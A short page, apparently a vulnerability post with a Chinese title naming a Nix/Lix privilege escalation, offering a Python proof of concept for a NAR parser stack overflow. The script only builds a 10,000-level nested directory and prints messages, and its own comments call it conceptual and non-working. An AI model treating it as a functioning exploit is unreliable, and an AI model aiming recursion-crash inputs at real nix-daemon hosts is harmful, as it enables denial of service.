CVE-2026-44028 Nix/Lix本地权限提升漏洞

# PoC for CVE-2026-44028: Stack Overflow in NAR Parser # This script generates a nested structure to trigger unbounded recursion. import subprocess import os # Create a directory structure with deep nesting to simulate malicious NAR content # In a real exploit, this would be a crafted binary NAR file. # Here we attempt to trigger the issue via a recursive path import if supported, # or simply demonstrate the concept of sending data to the daemon. def generate_deeply_nested_path(depth): path = "." for i in range(depth): path = os.path.join(path, f"level{i}") os.makedirs(path, exist_ok=True) return path try: print("[*] Creating deep directory structure...") deep_path = generate_deeply_nested_path(10000) # Attempt to add to Nix store (conceptual trigger) # The actual trigger requires a valid NAR format with recursive nodes. print(f"[*] Structure created at {deep_path}") print("[*] Exploit requires sending crafted NAR to nix-daemon.") except Exception as e: print(f"Error: {e}")